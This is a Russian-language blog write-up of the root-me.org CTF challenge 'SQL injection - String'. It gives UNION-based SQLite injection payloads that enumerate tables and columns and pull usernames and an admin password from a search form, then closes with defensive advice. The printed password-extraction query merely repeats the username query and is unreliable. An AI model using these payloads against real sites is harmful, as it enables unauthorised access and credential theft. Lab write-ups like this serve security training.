Перейти к основному содержанию

CTF — SQL injection - String

CTF

Всем привет, что-то я приболел, так что самое время решить задачку на информационную безопасность web-серверов. Сегодня задачка с портала root-me.org, называется "SQL injection - String". За решение задачки дают 30 баллов, ближе к среднему уровню.

ctf

По названию становится понятно, что иметь дело придётся с SQL инъекцией. Нам предлагают достать пароль администратора.

SQL injection — это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Атака осуществляется путём внедрения (инъекции) стороннего кода в SQL запрос.

В подсказках много ссылок на статьи по SQL инъекциям. При этом задание как-то связано со строкой.

Ссылки

CTF — Capture The Flag

Решение

Переходим на страницу задания:

http://challenge01.root-me.org/web-serveur/ch19/

ctf

Попадает на сайт с некоторой CMS. На домашней странице какие-то краткие новости.

ctf

Внутри новости нет ничего интересного.

ctf

Пробуем пройти на страницу логина. Здесь можно ввести логин и пароль.

ctf

Переходим на страницу поиска. Здесь можно вбить поисковую строку. Я сказал "строку"? Вероятно, это место, где мы будем искать инъекцию.

ctf

Проверю что форма работает, поищу что-нибудь. Работает, отобразилась найденная новость.

Обычный способ сделать инъекцию в SQL код — это использовать символ кавычки. Попробуем что-нибудь поискать с одинарной кавычкой, например:

'123
ctf

Бах, запрос упал в синтаксическую ошибку. Из ошибки понятно что в качестве СУБД используется SQLite 3.

Сборник невероятных и занимательных фактов о SQLite

С этим уже можно работать. Рекомендую почитать соответствующую литературу по SQL инъекциям. Манипулирую запросом можно выяснить чуточку больше.

ctf

Здесь видно правую часть участка T-SQL рядом с местом инъекции. Можно предположить, что запрос, производящий поиск, выглядит примерно так:

SELECT * FROM news
WHERE name LIKE '%' + @searchstring + '%'

Если еще поиграть запросом, можно и такое увидеть:

ctf

Что-то здесь я сильно навертел. Или ресурс тормозит.

Если в поиск вставить строку:

' OR 1=1; --

То получится:

SELECT * FROM news
WHERE name LIKE '%' OR 1=1; --%'

Попробуем.

ctf

Запрос отработал без ошибки. Мы на верном пути. Как теперь выполнить собственный SQL запрос? Можно через UNION добавить результат запроса в выборку.

SELECT * FROM news
WHERE name LIKE '%' UNION SELECT 'internet-lab.ru'; --
ctf

Ошибка. Количество выбранных нами столбцов в UNION не совпадает с количеством столбцов основного селекта. Я выбирал только один столбец, увеличим количество до двух. Чтобы не возиться с типами данных можно использовать NULL.

SELECT * FROM news
WHERE name LIKE '%' UNION SELECT NULL,NULL; --
ctf

Успех. Двигаемся дальше. Вместо любого NULL можно вставить свой подзапрос. Нам нужно выяснить, какие таблицы имеются в БД. Мы знаем, что тип СУБД SQLite, посмотреть все таблицы можно запросом:

SELECT name 
FROM sqlite_master 
WHERE type = 'table';

Для Postgresql можно было бы использовать запрос:

SELECT table_name 
FROM information_schema.tables 
WHERE table_schema = 'public';

MySQL:

SELECT TABLE_NAME 
FROM information_schema.TABLES 
WHERE TABLE_SCHEMA = 'your_database_name';

SQL Server:

SELECT name 
FROM sys.tables;

SELECT TABLE_NAME 
FROM INFORMATION_SCHEMA.TABLES 
WHERE TABLE_TYPE = 'BASE TABLE';

Oracle:

-- Показать все таблицы текущего пользователя
SELECT table_name 
FROM user_tables;

-- Все таблицы, к которым есть доступ
SELECT table_name 
FROM all_tables;

Итак, у нас SQLite. Ещё мы должны все данные вывести в виде строки. В SQLite можно использовать функцию GROUP_CONCAT() для объединения имен таблиц в одну строку.

SELECT GROUP_CONCAT(name, ', ') AS all_tables
FROM sqlite_master 
WHERE type = 'table';

Погнали.

SELECT * FROM news
WHERE name LIKE '%' UNION SELECT (SELECT GROUP_CONCAT(name, ', ') AS all_tables FROM sqlite_master WHERE type = 'table'),NULL; --
ctf

Получили две таблицы: news и users. Посмотрим какие колонки есть в таблице users:

SELECT * FROM news
WHERE name LIKE '%' UNION SELECT (SELECT GROUP_CONCAT(name, ', ') AS all_columns FROM pragma_table_info('users')),NULL; --
ctf

Здесь: username, password и Year.

Теперь можем посмотреть всех пользователей.

SELECT * FROM news
WHERE name LIKE '%' UNION SELECT (SELECT GROUP_CONCAT(username, ', ') AS all_usernames FROM users),NULL; --
ctf

В базе user1, user2 и admin. Вот он-то нам и нужен. Посмотрим все пароли:

SELECT * FROM news
WHERE name LIKE '%' UNION SELECT (SELECT GROUP_CONCAT(username, ', ') AS all_usernames FROM users),NULL; --

И получаем пароль от пользователя admin.

ctf

Пробуем залогиниться.

ctf

Успешно. Пароль и есть флаг. Валидируем.

ctf

Флаг подходит, зарабатываем 30 очков.

Безопасность

  • Защищайтесь от SQL инъекций. Одним из хороших способов является использование "параметризированных запросов".
  • Не используйте стандартные логины.
  • Не храните пароль в БД в открытом виде.
  • Используйте сложный пароль.
  • Защищайте поля формы от инъекций.
  • Используйте WAF.

Теги

 

Похожие материалы

CTF — SQL injection - Insert

Разминаем мышцы мозга, продолжаем решать задачки по информационной безопасности web-серверов. Сегодня задачка с портала root-me.org, называется "SQL injection - Insert". За решение задачки дают 40 баллов, средний уровень.

Теги

CTF — SQL injection - Filter bypass

Пока я решаю одну задачу, добавляется парочка новых... Так не пойдёт, повышаем уровень сложности до максимума и берём самую сложную задачу, называется "SQL injection - Filter bypass". За решение задачки дают 80 баллов, уровень HARD.

Теги

CTF — SQL injection - Authentication - GBK

Всем привет, сегодня был напряжённый день, так что самое время решить задачку на информационную безопасность web-серверов. Сегодня задачка с портала root-me.org, называется "SQL injection - Authentication - GBK". За решение задачки дают 30 баллов, ближе к среднему уровню.

Теги